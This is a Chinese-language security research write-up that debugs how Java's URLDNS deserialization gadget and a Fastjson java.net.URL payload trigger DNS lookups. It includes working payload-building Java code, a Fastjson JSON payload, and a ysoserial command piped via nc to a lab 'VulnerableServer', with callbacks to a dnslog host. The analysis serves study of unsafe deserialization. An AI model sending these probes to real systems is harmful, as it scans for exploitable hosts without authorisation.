标题: 在Java反序列化过程中通过java.net.URL触发域名解析请求 创建: 2020-05-17 17:59 更新: 2020-05-18 14:22 链接: https://scz.617.cn/web/202005171759.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ Serializable接口详解 9) URLDNS 9.1) HashMapURLDNS.java 9.2) 简化版调用关系 9.3) ysoserial.payloads.URLDNS ☆ Fastjson 10) Fastjson反序列化过程中触发域名解析请求 10.8) Fastjson_URL_DNS.json 10.9) 简化版调用关系 ☆ 后记 ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 参看 《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt 有人提及Fastjson反序列化过程中用java.net.URL触发域名解析请求,另有人提及 ysoserial.payloads.URLDNS。这两件事我都是首次接触,调试跟踪一番,写点笔记。 之前系统地调试跟踪过Fastjson反序列化的三条攻击链及各种补丁绕过,也系统地调 试跟踪过ysoserial/CommonsCollections系列,这次没啥新东西。 ☆ Serializable接口详解 9) URLDNS 9.1) HashMapURLDNS.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g HashMapURLDNS.java * java HashMapURLDNS "http://scz.dnslog.org" <0|1|2|3> */ import java.io.*; import java.util.HashMap; import java.net.*; import java.lang.reflect.Field; public class HashMapURLDNS { /* * 返回待序列化Object,mode只是为了演示不同的数据准备方案。 */ private static Object getObject ( String url, int mode ) throws Exception { Object obj = null; switch ( mode ) { case 0 : obj = getObject_0( url ); break; case 1 : obj = getObject_1( url ); break; case 2 : obj = getObject_2( url ); break; case 3 : obj = getObject_3( url ); break; default : break; } return( obj ); } /* * 这个实现很ysoserial,参看CommonsCollections5、CommonsCollections6。 * 就本例而言,这种搞法不是最优解,但很通用,可以避免各种类的边界效应, * 不只适用于URL。ysoserial并未采用这种方案。 */ @SuppressWarnings("unchecked") private static Object getObject_0 ( String url ) throws Exception { URL u = new URL( url ); HashMap hm = new HashMap( 1 ); /* * 任意值,占位 */ hm.put( "key", "value" ); Field f = HashMap.class.getDeclaredField( "table" ); f.setAccessible( true ); Object[] table = ( Object[] )f.get( hm ); /* * 假设前面hm只put()了一次,此处取上来的table[]有两个元素,一个是 * key,另一个是null。这与HashMap在JDK 8中的底层实现相关。本例中一 * 般table[0]是我们要找的,但保险起见,还是这么写吧。 */ Object node = table[0]; if ( node == null ) { node = table[1]; } Field k = node.getClass().getDeclaredField( "key" ); k.setAccessible( true ); k.set( node, u ); return( hm ); } /* end of getObject_0 */ /* * 本质上同getObject_0() */ @SuppressWarnings("unchecked") private static Object getObject_1 ( String url ) throws Exception { URL u = new URL( url ); /* * 由于此处没有指定initialCapacity,后面必须用for循环寻找node */ HashMap hm = new HashMap(); hm.put( "key", "value" ); Field f = HashMap.class.getDeclaredField( "table" ); f.setAccessible( true ); Object[] table = ( Object[] )f.get( hm ); for ( Object node : table ) { if ( node != null ) { Field k = node.getClass().getDeclaredField( "key" ); k.setAccessible( true ); k.set( node, u ); break; } } return( hm ); } /* end of getObject_1 */ /* * ysoserial本质上采用这种方案,我做了一些改动,从而完全摒弃反射。 */ @SuppressWarnings("unchecked") private static Object getObject_2 ( String url ) throws Exception { URL u = new URL( null, url, new PrivateURLStreamHandler() ); HashMap hm = new HashMap(); /* * hm.put()会触发如下调用: * * HashMap.put * HashMap.hash * URL.hashCode * if (this.hashCode != -1) * URLStreamHandler.hashCode * URLStreamHandler.getHostAddress * InetAddress.getByName */ hm.put( u, "any" ); return( hm ); } /* end of getObject_2 */ /* * 这种方案只适用于URL */ @SuppressWarnings("unchecked") private static Object getObject_3 ( String url ) throws Exception { URL u = new URL( url ); HashMap hm = new HashMap(); Field f = URL.class.getDeclaredField( "hashCode" ); f.setAccessible( true ); /* * 只要不是-1即可 */ f.set( u, 0 ); hm.put( u, "any" ); f.set( u, -1 ); return( hm ); } /* end of getObject_3 */ /* * https://docs.oracle.com/javase/8/docs/api/java/net/URL.html * https://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandler.html * * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URL.java * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URLStreamHandler.java * * URLStreamHandler是抽象类,没有实现Serializable接口,缺省不会被序列 * 化出去。 */ private static class PrivateURLStreamHandler extends URLStreamHandler { /* * 这是个抽象方法,子类必须实现之 */ protected URLConnection openConnection ( URL u ) throws IOException { return null; } @Override protected int hashCode ( URL u ) { return( -1 ); } } public static void main ( String[] argv ) throws Exception { String url = argv[0]; int mode = Integer.parseInt( argv[1] ); Object obj = getObject( url, mode ); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() ); ObjectInputStream ois = new ObjectInputStream( bis ); ois.readObject(); } } -------------------------------------------------------------------------- java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ HashMapURLDNS "http://scz.dnslog.org" 2 jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.net.InetAddress.getByName(java.lang.String) [1] java.net.InetAddress.getByName (InetAddress.java:1,077), pc = 0 [2] java.net.URLStreamHandler.getHostAddress (URLStreamHandler.java:442), pc = 34 [3] java.net.URLStreamHandler.hashCode (URLStreamHandler.java:359), pc = 20 [4] java.net.URL.hashCode (URL.java:902), pc = 19 [5] java.util.HashMap.hash (HashMap.java:339), pc = 9 [6] java.util.HashMap.readObject (HashMap.java:1,413), pc = 246 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [12] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [13] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [14] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [15] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [16] HashMapURLDNS.main (HashMapURLDNS.java:179), pc = 70 9.2) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/util/HashMap.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URL.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URLStreamHandler.java 正常情况下HashMap.put(URL,"any")会触发InetAddress.getByName(): -------------------------------------------------------------------------- HashMap.put // 8u232 // key等于URL,value无所谓 HashMap.hash // HashMap:612 // putVal(hash(key), key, value, false, true) URL.hashCode // HashMap:339 // (h = key.hashCode()) ^ h >>> 16 if (this.hashCode != -1) // URL:899 // -1表示未设置过,需要计算后设置 // ysoserial.payloads.URLDNS通过反射将该字段设为-1 URLStreamHandler.hashCode // URL:902 // hashCode = handler.hashCode(this); // handler的类型是"sun.net.www.protocol.http.Handler" // 这是URLStreamHandler的子类 URLStreamHandler.getHostAddress // URLStreamHandler:359 // addr = getHostAddress(u) // u等于"http://scz.dnslog.org" InetAddress.getByName // URLStreamHandler:442 // hostAddress = InetAddress.getByName(host) // host等于"scz.dnslog.org" // 触发对"scz.dnslog.org"的域名解析请求 -------------------------------------------------------------------------- 出于洁癖或其他什么理由,不想在数据准备阶段触发域名解析请求,从而有了 HashMapURLDNS.java演示的几种技术方案,以避免调用InetAddress.getByName()。 getObject_0()没有正常调用HashMap.put(URL,"any"),而是put("key","value"), 再通过反射将"key"改成URL,反射法并不会触发URL.hashCode()。 getObject_2()调了一个重载版的URL(),指定自己实现的handler,这个handler重载 了URLStreamHandler.hashCode(),直接返回-1,从而避免调用 URLStreamHandler.getHostAddress()。这是我修改过的方案,可以彻底避免反射。 getObject_2()这种搞法下的自定义handler没有实现Serializable接口,缺省不会被 序列化出去。反序列化时,URL.handler会在URL.readObject()中被填成 "sun.net.www.protocol.http.Handler",这是URLStreamHandler的子类。 ysoserial.payloads.URLDNS的数据准备方案本质上同getObject_2(),用了自定义 handler。它重载的是URLStreamHandler.getHostAddress(),直接返回null,不会调 用InetAddress.getByName()。但这个搞法仍会计算出URL.hashCode,所以它后面通 过反射将URL.hashCode恢复成-1。 getObject_3()初始化URL实例后通过反射将URL.hashCode先设成-1之外的值,比如0。 HashMap.put(URL,"any")触发URL.hashCode()时,由于URL.hashCode不等于-1,从而 直接返回URL.hashCode,不会去调用URLStreamHandler.hashCode()。然后 getObject_3()通过反射将URL.hashCode恢复成-1,将来反序列化时才会调用 URLStreamHandler.hashCode(),进而触发InetAddress.getByName()。 反序列化流程如下: -------------------------------------------------------------------------- ObjectInputStream.readObject // 8u232 ObjectInputStream.readObject0 // ObjectInputStream:430 ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572 ObjectInputStream.readSerialData // ObjectInputStream:2068 ObjectStreamClass.invokeReadObject // ObjectInputStream:2177 HashMap.readObject // ObjectStreamClass:1170 ObjectInputStream.readObject // HashMap:1410 // key = (K) s.readObject() ObjectInputStream.readObject0 // ObjectInputStream:430 ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572 ObjectInputStream.readSerialData // ObjectInputStream:2068 ObjectStreamClass.invokeReadObject // ObjectInputStream:2177 URL.readObject // ObjectStreamClass:1170 URL.getURLStreamHandler // URL:1301 cls = Class.forName(clsName) // URL:1197 // clsName等于"sun.net.www.protocol.http.Handler" handler = (URLStreamHandler)cls.newInstance() // URL:1206 // 这个handler是局部变量,不是this.handler Hashtable.put // URL:1241 // handlers.put(protocol, handler) // protocol等于"http" // handler等于"sun.net.www.protocol.http.Handler" ObjectStreamClass.invokeReadResolve // ObjectInputStream:2077 URL.readResolve // ObjectStreamClass:1260 URL.fabricateNewURL // URL:1337 URL.(java.lang.String) // URL:1412 URL.(java.net.URL, java.lang.String) // URL:456 URL.(java.net.URL, java.lang.String, java.net.URLStreamHandler) // URL:507 URL.getURLStreamHandler // URL:616 // handler = getURLStreamHandler(protocol) this.handler = handler // URL:620 // 此时的this就是将来hash(key)中的key // this.handler等于null // handler等于"sun.net.www.protocol.http.Handler" HashMap.hash // HashMap:1413 // putVal(hash(key), key, value, false, false) URL.hashCode // HashMap:339 // (h = key.hashCode()) ^ h >>> 16 if (this.hashCode != -1) // URL:899 // -1表示未设置过,需要计算后设置 // ysoserial.payloads.URLDNS通过反射将该字段设为-1 URLStreamHandler.hashCode // URL:902 // hashCode = handler.hashCode(this); // handler的类型是"sun.net.www.protocol.http.Handler" // 这是URLStreamHandler的子类 URLStreamHandler.getHostAddress // URLStreamHandler:359 // addr = getHostAddress(u) // u等于"http://scz.dnslog.org" InetAddress.getByName // URLStreamHandler:442 // hostAddress = InetAddress.getByName(host) // host等于"scz.dnslog.org" // 触发对"scz.dnslog.org"的域名解析请求 -------------------------------------------------------------------------- 9.3) ysoserial.payloads.URLDNS 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java ysoserial.payloads.URLDNS存在的目的是探测目标系统有调用 ObjectInputStream.readObject()。 启动DNSLog: python2 superdns.py -m udp -i 192.168.65.2 执行服务端: java VulnerableServer 192.168.65.23 1314 执行客户端: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://scz.dnslog.org" | nc -n 192.168.65.23 1314 在DNSLog中会看到对"scz.dnslog.org"的域名解析请求。 ☆ Fastjson 10) Fastjson反序列化过程中触发域名解析请求 10.8) Fastjson_URL_DNS.json -------------------------------------------------------------------------- { { '@type':"java.net.URL", 'val':'http://scz.dnslog.org' }:'a' } -------------------------------------------------------------------------- java \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.net.URL.(java.lang.String) stop in java.net.InetAddress.getByName(java.lang.String) [1] java.net.URL. (URL.java:456), pc = 0 [2] com.alibaba.fastjson.serializer.MiscCodec.deserialze (MiscCodec.java:313), pc = 482 [3] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:395), pc = 1,399 [4] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,401), pc = 234 [5] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,367), pc = 2 [6] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:285), pc = 768 [7] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,401), pc = 234 [8] com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze (JavaObjectDeserializer.java:46), pc = 146 [9] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:688), pc = 194 [10] com.alibaba.fastjson.JSON.parseObject (JSON.java:396), pc = 141 [11] com.alibaba.fastjson.JSON.parseObject (JSON.java:461), pc = 87 [12] com.alibaba.fastjson.JSON.parseObject (JSON.java:569), pc = 102 [13] com.alibaba.fastjson.JSON.parseObject (JSON.java:536), pc = 10 [14] com.alibaba.fastjson.JSON.parseObject (JSON.java:524), pc = 7 [15] com.alibaba.fastjson.JSON.parseObject (JSON.java:513), pc = 6 [16] FastjsonDeserialize.main (FastjsonDeserialize.java:38), pc = 24 [1] java.net.InetAddress.getByName (InetAddress.java:1,077), pc = 0 [2] java.net.URLStreamHandler.getHostAddress (URLStreamHandler.java:442), pc = 34 [3] java.net.URLStreamHandler.hashCode (URLStreamHandler.java:359), pc = 20 [4] java.net.URL.hashCode (URL.java:902), pc = 19 [5] java.util.HashMap.hash (HashMap.java:339), pc = 9 [6] java.util.HashMap.put (HashMap.java:612), pc = 2 [7] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:602), pc = 2,641 [8] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,401), pc = 234 [9] com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze (JavaObjectDeserializer.java:46), pc = 146 [10] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:688), pc = 194 [11] com.alibaba.fastjson.JSON.parseObject (JSON.java:396), pc = 141 [12] com.alibaba.fastjson.JSON.parseObject (JSON.java:461), pc = 87 [13] com.alibaba.fastjson.JSON.parseObject (JSON.java:569), pc = 102 [14] com.alibaba.fastjson.JSON.parseObject (JSON.java:536), pc = 10 [15] com.alibaba.fastjson.JSON.parseObject (JSON.java:524), pc = 7 [16] com.alibaba.fastjson.JSON.parseObject (JSON.java:513), pc = 6 [17] FastjsonDeserialize.main (FastjsonDeserialize.java:38), pc = 24 10.9) 简化版调用关系 -------------------------------------------------------------------------- JSON.parseObject // 8u232+1.2.68 // parseObject(InputStream is, Type type, Feature... features) JSON.parseObject // JSON:513 JSON.parseObject // JSON:524 JSON.parseObject // JSON:536 JSON.parseObject // JSON:569 JSON.parseObject // JSON:461 DefaultJSONParser.parseObject // JSON:396 JavaObjectDeserializer.deserialze // DefaultJSONParser:688 DefaultJSONParser.parse // JavaObjectDeserializer:46 DefaultJSONParser.parseObject // DefaultJSONParser:1401 // parseObject(Map object, Object fieldName) DefaultJSONParser.parse // DefaultJSONParser:285 // key = parse() DefaultJSONParser.parse // DefaultJSONParser:1367 DefaultJSONParser.parseObject // DefaultJSONParser:1401 // parseObject(Map object, Object fieldName) ParserConfig.checkAutoType // DefaultJSONParser:333 // typeName等于"java.net.URL" IdentityHashMap.findClass // ParserConfig:1329 // 返回"java.net.URL" // 预填充过一些类,不经反序列化处理 ParserConfig.getDeserializer // DefaultJSONParser:386 // 返回"com.alibaba.fastjson.serializer.MiscCodec" MiscCodec.deserialze // DefaultJSONParser:395 // clazz等于"java.net.URL" if (!"val".equals(lexer.stringVal())) // MiscCodec:251 // 检查"val"属性 DefaultJSONParser.parse // MiscCodec:261 // 返回"http://scz.dnslog.org",即"val"的值 // objVal = parser.parse() if (clazz == URL.class) // MiscCodec:311 java.net.URL. // MiscCodec:313 // spec等于"http://scz.dnslog.org" HashMap.put // DefaultJSONParser:602 // map.put(key, value) // key等于"http://scz.dnslog.org",value等于"a" HashMap.hash // HashMap:612 URL.hashCode // HashMap:339 // (h = key.hashCode()) ^ h >>> 16 if (this.hashCode != -1) // URL:899 // -1表示未设置过,需要计算后设置 // ysoserial.payloads.URLDNS通过反射将该字段设为-1 URLStreamHandler.hashCode // URL:902 URLStreamHandler.getHostAddress // URLStreamHandler:359 // addr = getHostAddress(u) // u等于"http://scz.dnslog.org" InetAddress.getByName // URLStreamHandler:442 // hostAddress = InetAddress.getByName(host) // host等于"scz.dnslog.org" // 触发对"scz.dnslog.org"的域名解析请求 -------------------------------------------------------------------------- 注意,此次MiscCodec.deserialze()只负责URL.,并不在其中触发域名解析请 求。 参[75],1.2.43将"java.net.URL"放入黑名单,但没有将"java.net.URL"从 IdentityHashMap中删除。在IdentityHashMap.findClass()之前有个黑名单检查,但 只在autoTypeSupport或expectClassFlag为true时检查。 java \ -Dfastjson.parser.autoTypeSupport=true \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. java.net.URL at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1321) ☆ 后记 先看的Fastjson_URL_DNS.json调用栈回溯,之前未看ysoserial.payloads.URLDNS, 听说有个ysoserial/URLDNS,下意识想到HashMapURLDNS.java中模式0的方案。 ysoserial/URLDNS的实现跟ysoserial/CommonsCollections系列相比,前者水平明显 差点意思,后者炫技炫得我眼花。 ysoserial/URLDNS的作者在注释中提到,URL.handler是transient的,不会被序列化 出去。URL.writeObject()只调了ObjectOutputStream.defaultWriteObject(),确实 不会序列化transient成员,但这只是一方面。URL.handler的类型是 java.net.URLStreamHandler,这是个没有实现Serializable接口的抽象类,即使不 是transient的,也不会被序列化出去,可以放心大胆地自实现之。 ysoserial/URLDNS提供了自定义URL.handler,但它的套路不够好,最后还得反射修 正URL.hashCode。都自定义URL.handler了,换成HashMapURLDNS.java中的模式2不是 更爽? HashMapURLDNS.java中的模式3是别人的方案,出于完备性考虑,一并演示。 ☆ 参考资源 [52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包) git clone https://github.com/frohoff/ysoserial.git [75] fastjson blacklist https://github.com/LeadroyaL/fastjson-blacklist